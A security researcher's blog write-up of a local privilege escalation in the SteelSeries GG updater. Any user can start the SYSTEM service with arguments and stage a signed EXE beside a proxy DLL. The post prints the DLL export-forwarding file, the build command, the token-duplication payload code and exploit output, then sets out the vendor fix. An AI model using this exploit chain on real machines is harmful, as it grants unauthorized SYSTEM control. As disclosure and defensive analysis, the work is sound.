SteelSeries GG: standard user to SYSTEM, by way of an update service that trusts its caller
Beware of false prophets, which come to you in sheep's clothing, but inwardly they are ravening wolves.
Matthew 7:15 (KJV)
the MX Linux snapshot bug was the kernel sending me back down to userspace. this one is Windows, and the target is the same kind of thing it usually is. software that ships to every install, runs as the most privileged account on the box, and gets audited by nobody, because it doesn't look like an attack surface. it looks like a tray icon.
gamer peripheral suites are full of this. every keyboard and headset vendor ships a companion app that wants to update itself without bothering you, and "update itself without bothering you" is a service running as SYSTEM whose job is to fetch a file and run it. that's the whole job. all that's left to ask is how carefully it was done. i went through a stack of these suites in the lab. SteelSeries' own Sonar audio driver is clean, KMDF with nothing on its IOCTL surface. then i got to the updater inside SteelSeries GG, which was not done carefully at all.
what follows is a standard user with no groups getting an interactive
NT AUTHORITY\SYSTEM prompt on the desktop. no consent dialog, no race,
no reboot. three plain mistakes that happen to line up.
the service anyone can start
GG installs a SYSTEM service named SteelSeriesGGUpdateServiceProxy. a
SYSTEM service is normal and fine. the thing to look at is its DACL, who's allowed to
do what to it, and you dump that with sc sdshow:
# sc sdshow SteelSeriesGGUpdateServiceProxy
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCRP;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;BA)...
# that AU ace decodes to, in service SDDL:
SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_START # for any authenticated user
AU is the well-known SID for Authenticated Users, anybody who logged in
with a password, which is to say everybody. and that RP on the end of the
mask is SERVICE_START. any user can start this service. on Windows that
isn't a silent act either: you pass arguments when you start it, and they land in the
service's OnStart.
# standard user, no admin; the args ride straight into OnStart
sc start SteelSeriesGGUpdateServiceProxy <arg> <arg> <arg> ...
so nothing is exploited yet. an unprivileged user is just allowed to press the button, and allowed to write on the button. the next question is what the button does.
what it does as SYSTEM
the proxy is a small .NET shim and decompiles cleanly (ikdasm or
monodis on the IL). it's careful in one place and sloppy in another.
careful: it Authenticode- and symlink-checks the real updater before launching it.
but that updater lives in a locked, SYSTEM-only directory, so there's nothing to do
there. sloppy: it forwards my arguments straight through, all of them:
--installPath --dataPath --mode --installPackageName --checksum --type
those go to the real updater, SteelSeriesGGUpdateService.exe, which is
written in Go. (Go throws off the managed decompilers and confuses the native ones
into nonsense; you read it headless in IDA, and you read the log strings, which Go
leaves lying around everywhere.) the path that matters is
main → StartUpdate → verifyAndRunInstaller, and here's what it
does with the arguments i just handed it, as SYSTEM:
- the installer it runs is
<dataPath>\updates\<installPackageName>. both halves are mine. and the defaultdataPath,%ProgramData%\SteelSeries\GG\updates\, isBUILTIN\Users : Write. i can write there, and i name the file. - it checks a checksum,
MD5(file)against my--checksum. i hand it the file and the hash both, so that's not a control, it's a typo-catcher. - then it actually verifies the binary:
WinVerifyTrust, then it reads the signer's org name and compares it to an allowlist ofSteelSeries ApS,SteelSeries A/S,GN Hearing A/S, plus aCheckForSymlinkso you can't link it off to a signed binary somewhere else. - if that passes, it runs the file as SYSTEM, through
cmd.exe /c start "" <path> /SKIPOPENFRONTEND /S.
there's one more catch, and i found it the dumb way, by feeding it wrong arguments
and reading the log line Incorrect installation parameters until it
stopped: the dispatcher only proceeds for --mode install --type full.
so i own the directory, the filename, and the checksum. the one thing i can't
produce is a binary WinVerifyTrust will accept as SteelSeries-signed.
that's the real check in the chain. it's also the wrong one.
the signature was the easy part
the verifier answers one question, is this file signed by SteelSeries, and then proceeds as if it had answered a bigger one: and so everything that happens when i run it is SteelSeries' code. it hasn't. every DLL that binary loads lives in the space between those two readings.
so i don't forge anything. i bring a real signed binary.
SteelSeriesEngine.exe is a genuine, valid, GN-signed SteelSeries EXE.
(GN Hearing owns SteelSeries and their software signs under the parent cert, which is
why that name is on the allowlist, and also why, if you filter your tooling for the
string "SteelSeries", you'll hide half the binaries you care about. filter for GN.) i
drop the untampered EXE into the Users-writable updates directory.
WinVerifyTrust is happy because it's genuinely signed, the org is on the
list, and it's a real file so there's no symlink. every gate clears, because every
gate was about the EXE, and the EXE is clean.
my code is in the DLL next to it.
SteelSeriesEngine.exe statically imports SSEdevice.dll, a
non-system DLL that Windows resolves out of the application directory before it looks
anywhere else. so i write my own SSEdevice.dll into that same directory.
it can't be a stub. the loader bails on the EXE if even one of the 43 imported
exports is missing, so it's a forwarding proxy. rename the genuine DLL to
SSEorig.dll, and forward every export to it:
# SSEdevice.def
LIBRARY SSEdevice
EXPORTS
DeviceLib_Initialize = SSEorig.DeviceLib_Initialize
DeviceLib_GetDevices = SSEorig.DeviceLib_GetDevices
Sequencer_Initialize = SSEorig.Sequencer_Initialize
Syncer_Initialize = SSEorig.Syncer_Initialize
... all 43 imported names, forwarded ...
# x86_64-w64-mingw32-gcc -shared -o SSEdevice.dll payload.c SSEdevice.def -lwtsapi32 -luserenv
# what the dropper stages into the Users-writable dir:
%ProgramData%\SteelSeries\GG\updates\meow\updates\
setup.exe # genuine GN-signed SteelSeriesEngine.exe, renamed. WinVerifyTrust: OK
SSEdevice.dll # mine: 43 forwarders + DllMain payload. loaded as SYSTEM
SSEorig.dll # the real SSEdevice.dll, renamed. so imports still snap
imports resolve, the EXE runs exactly as intended, and my DllMain runs
first, as SYSTEM, before its main ever gets a turn. nothing is timed and
nothing is racing. the loader does all the work for me.
from DllMain to a shell you can see
SYSTEM code execution isn't a shell yet. DllMain runs on session 0, the
headless service session; spawn cmd.exe from there and it opens on a
desktop nobody is watching. the last step is crossing into the session the human is
actually sitting in.
off the loader lock (the work runs on a thread spun out of DllMain, not
inline), the SYSTEM token gets duplicated, retargeted at the live session, and handed
to a fresh cmd.exe on the interactive desktop. the whole payload is about
a dozen lines:
// SSEdevice.dll, DllMain thread, running as SYSTEM
DWORD sess = WTSGetActiveConsoleSessionId();
OpenProcessToken(GetCurrentProcess(),
TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_QUERY|TOKEN_ADJUST_DEFAULT|TOKEN_ADJUST_SESSIONID, &hTok);
DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, 0, SecurityImpersonation, TokenPrimary, &hDup);
SetTokenInformation(hDup, TokenSessionId, &sess, sizeof sess); // session 0 -> console
STARTUPINFOW si = { sizeof si }; si.lpDesktop = L"winsta0\\default";
CreateProcessAsUserW(hDup, L"C:\\Windows\\System32\\cmd.exe", L"cmd.exe", 0, 0, FALSE,
CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT, env, 0, &si, &pi);
live
standard user noob, Medium integrity, no admin, no groups worth the
name. the dropper stages the three files, computes its own checksum, and starts the
service. it runs itself the rest of the way:
C:\...\SteelSeries_GG_LPE> whoami /groups | findstr /i "high admin"
C:\...\SteelSeries_GG_LPE> # nothing. Medium IL, no admin.
C:\...\SteelSeries_GG_LPE> exploit.exe
SteelSeries GG !:: UNPRIV'd -> NT AUTHORITY\SYSTEM ::! Meow!
[*] staging payloads into C:\ProgramData\SteelSeries\GG\updates\meow\updates
[+] setup.exe -> ...\meow\updates\setup.exe
[+] SSEdevice.dll -> ...\meow\updates\SSEdevice.dll
[+] SSEorig.dll -> ...\meow\updates\SSEorig.dll
[*] setup.exe MD5 = 1B7E9C4F0A2D8E5519C3A6F7B0D41E22 # we supply the file and the hash
[*] ACL piss weak - starting SYSTEM service...
# under the hood: sc start SteelSeriesGGUpdateServiceProxy --installPath ...\setup.exe
# --installPackageName setup.exe --dataPath ...\meow --checksum 1B7E... --mode install --type full
# a new console just opened on the desktop. in it:
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> tasklist /v /fi "pid eq 17976"
cmd.exe 17976 1 NT AUTHORITY\SYSTEM
a user with nothing pressed a button it was allowed to press, and a SYSTEM console opened on its desktop.
the fix
four links, and the vendor fix cuts all of them, which is the right call, because any one cut on its own stops the box:
- the service DACL shouldn't grant
SERVICE_STARTto Authenticated Users. a user-facing app has no reason to let every logged-in account start the privileged updater, never mind with arguments. - the installer path shouldn't come from the caller. stage, verify, and run from a
SYSTEM-only directory, and take
Users:Writeoff%ProgramData%\SteelSeries\GG\**. - verification has to bind to execution: verify an open handle and run that
handle, so the bytes you checked are the bytes you run, and don't mistake a signature
on the EXE for a statement about the DLLs it loads. run from a clean directory,
SetDefaultDllDirectories, signed-only module policy. and drop thecmd /c start. - the checksum should cover a trusted manifest, not be a value the caller supplies next to the file it's "verifying".
the lesson
signature checks feel like the strong part of an updater, so that's where the care
goes, and that's where the false confidence pools right next to it.
WinVerifyTrust was right every single time here. the binary really was
SteelSeries'. the bug was never in the crypto. it was in what the developers thought
the crypto was telling them. signed meant these bytes came from the
vendor; they read it as everything this process does is the vendor's
intent. a loadable DLL in a writable folder is the gap between those two, and
it's wide enough to walk a SYSTEM shell through.
the guard checked the coat and waved the man inside.
. _SiCk · 0xdeadbeefnetwork · afflicted.sh